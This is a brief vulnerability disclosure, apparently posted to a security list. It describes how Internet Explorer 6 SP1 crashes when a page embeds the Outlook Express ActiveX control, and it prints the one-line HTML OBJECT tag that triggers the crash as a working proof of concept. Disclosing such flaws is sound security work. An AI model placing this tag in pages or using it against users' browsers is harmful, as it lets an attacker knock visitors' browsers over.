IE6 SP1 - Trivial Crash





Overview/Description:

    In March of 2000, someone posted to bugtraq a flaw in the MS Outlook
Express ActiveX control which allowed for "the reading of any file on the
users machine." My guess is that MS, in an attempt to bugfix it, didnt debug
properly and left the following new bug. So now, using the same OE ActiveX
Control, a single line of code can crash IE.


Exploit:

    <OBJECT CLASSID="CLSID:1C82EAD9-508E-11D1-8DCF-00C04FB951F9"
data="1.html"></OBJECT>


Recommendation:

    Don't put this line of code in your pages. Other than that, I dont know
what to tell you.
